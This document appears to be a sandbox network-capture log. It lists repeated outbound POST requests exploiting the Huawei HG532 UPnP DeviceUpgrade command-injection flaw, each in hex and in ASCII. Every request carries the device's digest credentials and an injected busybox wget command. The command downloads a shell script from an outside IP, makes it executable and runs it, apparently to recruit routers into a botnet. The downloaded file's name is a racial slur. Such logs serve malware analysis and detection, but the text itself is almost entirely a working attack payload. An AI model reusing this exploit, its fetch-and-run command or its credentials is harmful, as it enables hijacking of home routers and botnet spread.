Feb 19, 2024 18:36:12.302496910 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.220041990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:07.078999996 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	41992	31.136.103.148	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.707400084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:55.280762911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.400619030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:58.736398935 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:03.343666077 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.302489996 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
